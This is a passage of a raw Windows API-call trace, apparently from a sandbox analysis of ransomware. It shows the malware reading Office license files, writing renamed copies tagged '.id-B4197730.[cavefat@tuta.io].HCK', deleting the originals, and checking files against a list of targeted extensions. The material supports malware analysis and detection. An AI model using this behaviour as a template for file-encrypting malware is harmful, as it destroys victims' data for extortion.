(lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.608] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms")) returned 1 [0243.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0243.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0243.608] lstrlenW (lpString=".doc") returned 4 [0243.609] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.609] lstrlenW (lpString=".docx") returned 5 [0243.609] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.609] lstrlenW (lpString=".pdf") returned 4 [0243.609] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.609] lstrlenW (lpString=".xls") returned 4 [0243.609] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.609] lstrlenW (lpString=".xlsx") returned 5 [0243.609] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.609] lstrlenW (lpString=".ppt") returned 4 [0243.609] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0243.609] lstrlenW (lpString=".zip") returned 4 [0243.609] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.609] lstrlenW (lpString=".rar") returned 4 [0243.609] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.609] lstrlenW (lpString=".bz2") returned 4 [0243.609] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.609] lstrlenW (lpString=".7z") returned 3 [0243.609] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0243.609] lstrlenW (lpString=".dbf") returned 4 [0243.609] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0243.609] lstrlenW (lpString=".1cd") returned 4 [0243.609] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0243.609] lstrlenW (lpString=".jpg") returned 4 [0243.609] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0243.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0243.609] lstrlenW (lpString=".doc") returned 4 [0243.609] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.609] lstrlenW (lpString=".docx") returned 5 [0243.609] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.609] lstrlenW (lpString=".pdf") returned 4 [0243.609] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.609] lstrlenW (lpString=".xls") returned 4 [0243.609] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.609] lstrlenW (lpString=".xlsx") returned 5 [0243.609] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.609] lstrlenW (lpString=".ppt") returned 4 [0243.609] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0243.609] lstrlenW (lpString=".zip") returned 4 [0243.609] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.609] lstrlenW (lpString=".rar") returned 4 [0243.609] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.609] lstrlenW (lpString=".bz2") returned 4 [0243.609] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.609] lstrlenW (lpString=".7z") returned 3 [0243.609] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0243.610] lstrlenW (lpString=".dbf") returned 4 [0243.610] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0243.610] lstrlenW (lpString=".1cd") returned 4 [0243.610] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0243.610] lstrlenW (lpString=".jpg") returned 4 [0243.610] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.610] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0243.610] lstrlenW (lpString="O365HomePremR_Subscription2-ppd.xrm-ms") returned 38 [0243.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0243.611] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=26541) returned 1 [0243.611] CloseHandle (hObject=0x560) returned 1 [0243.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms")) returned 0x220 [0243.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0243.611] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.611] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0243.612] GetLastError () returned 0x0 [0243.612] ReadFile (in: hFile=0x560, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x67ad, lpOverlapped=0x0) returned 1 [0243.614] WriteFile (in: hFile=0x454, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x67b0, lpOverlapped=0x0) returned 1 [0243.615] ReadFile (in: hFile=0x560, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0243.615] WriteFile (in: hFile=0x454, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x120, lpOverlapped=0x0) returned 1 [0243.615] SetEndOfFile (hFile=0x454) returned 1 [0243.615] CloseHandle (hObject=0x454) returned 1 [0243.615] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.615] SetEndOfFile (hFile=0x560) returned 1 [0243.617] CloseHandle (hObject=0x560) returned 1 [0243.617] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.618] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms")) returned 1 [0243.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0243.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0243.619] lstrlenW (lpString=".doc") returned 4 [0243.619] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.619] lstrlenW (lpString=".docx") returned 5 [0243.619] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.619] lstrlenW (lpString=".pdf") returned 4 [0243.619] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.619] lstrlenW (lpString=".xls") returned 4 [0243.619] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.619] lstrlenW (lpString=".xlsx") returned 5 [0243.619] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.619] lstrlenW (lpString=".ppt") returned 4 [0243.619] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0243.619] lstrlenW (lpString=".zip") returned 4 [0243.619] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.619] lstrlenW (lpString=".rar") returned 4 [0243.619] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.619] lstrlenW (lpString=".bz2") returned 4 [0243.619] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.619] lstrlenW (lpString=".7z") returned 3 [0243.619] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0243.619] lstrlenW (lpString=".dbf") returned 4 [0243.619] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0243.619] lstrlenW (lpString=".1cd") returned 4 [0243.619] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0243.619] lstrlenW (lpString=".jpg") returned 4 [0243.619] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0243.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0243.619] lstrlenW (lpString=".doc") returned 4 [0243.619] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.619] lstrlenW (lpString=".docx") returned 5 [0243.619] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.619] lstrlenW (lpString=".pdf") returned 4 [0243.619] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.619] lstrlenW (lpString=".xls") returned 4 [0243.619] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.619] lstrlenW (lpString=".xlsx") returned 5 [0243.619] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.619] lstrlenW (lpString=".ppt") returned 4 [0243.619] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0243.620] lstrlenW (lpString=".zip") returned 4 [0243.620] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.620] lstrlenW (lpString=".rar") returned 4 [0243.620] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.620] lstrlenW (lpString=".bz2") returned 4 [0243.620] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.620] lstrlenW (lpString=".7z") returned 3 [0243.620] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0243.620] lstrlenW (lpString=".dbf") returned 4 [0243.620] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0243.620] lstrlenW (lpString=".1cd") returned 4 [0243.620] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0243.620] lstrlenW (lpString=".jpg") returned 4 [0243.620] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.620] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0243.620] lstrlenW (lpString="O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 41 [0243.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0243.621] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=11651) returned 1 [0243.621] CloseHandle (hObject=0x560) returned 1 [0243.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms")) returned 0x220 [0243.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0243.621] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.621] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0243.622] GetLastError () returned 0x0 [0243.622] ReadFile (in: hFile=0x560, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x2d83, lpOverlapped=0x0) returned 1 [0243.624] WriteFile (in: hFile=0x454, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2d90, lpOverlapped=0x0) returned 1 [0243.625] ReadFile (in: hFile=0x560, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0243.625] WriteFile (in: hFile=0x454, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x126, lpOverlapped=0x0) returned 1 [0243.625] SetEndOfFile (hFile=0x454) returned 1 [0243.625] CloseHandle (hObject=0x454) returned 1 [0243.625] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.625] SetEndOfFile (hFile=0x560) returned 1 [0243.627] CloseHandle (hObject=0x560) returned 1 [0243.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.627] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms")) returned 1 [0243.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0243.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0243.628] lstrlenW (lpString=".doc") returned 4 [0243.628] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.628] lstrlenW (lpString=".docx") returned 5 [0243.628] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.628] lstrlenW (lpString=".pdf") returned 4 [0243.628] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.628] lstrlenW (lpString=".xls") returned 4 [0243.628] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.628] lstrlenW (lpString=".xlsx") returned 5 [0243.628] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.628] lstrlenW (lpString=".ppt") returned 4 [0243.628] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0243.629] lstrlenW (lpString=".zip") returned 4 [0243.629] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.629] lstrlenW (lpString=".rar") returned 4 [0243.629] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.629] lstrlenW (lpString=".bz2") returned 4 [0243.629] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.629] lstrlenW (lpString=".7z") returned 3 [0243.629] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0243.629] lstrlenW (lpString=".dbf") returned 4 [0243.629] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0243.629] lstrlenW (lpString=".1cd") returned 4 [0243.629] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0243.629] lstrlenW (lpString=".jpg") returned 4 [0243.629] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0243.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0243.629] lstrlenW (lpString=".doc") returned 4 [0243.629] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.629] lstrlenW (lpString=".docx") returned 5 [0243.629] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.629] lstrlenW (lpString=".pdf") returned 4 [0243.629] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.629] lstrlenW (lpString=".xls") returned 4 [0243.629] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.629] lstrlenW (lpString=".xlsx") returned 5 [0243.629] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.629] lstrlenW (lpString=".ppt") returned 4 [0243.629] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0243.629] lstrlenW (lpString=".zip") returned 4 [0243.629] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.629] lstrlenW (lpString=".rar") returned 4 [0243.629] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.629] lstrlenW (lpString=".bz2") returned 4 [0243.629] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.629] lstrlenW (lpString=".7z") returned 3 [0243.629] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0243.629] lstrlenW (lpString=".dbf") returned 4 [0243.629] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0243.629] lstrlenW (lpString=".1cd") returned 4 [0243.629] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0243.629] lstrlenW (lpString=".jpg") returned 4 [0243.629] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.630] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0243.630] lstrlenW (lpString="O365HomePremR_Subscription3-pl.xrm-ms") returned 37 [0243.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0243.630] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=11199) returned 1 [0243.630] CloseHandle (hObject=0x560) returned 1 [0243.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms")) returned 0x220 [0243.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0243.631] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.631] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0243.632] GetLastError () returned 0x0 [0243.632] ReadFile (in: hFile=0x560, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x2bbf, lpOverlapped=0x0) returned 1 [0243.633] WriteFile (in: hFile=0x454, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0243.634] ReadFile (in: hFile=0x560, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: 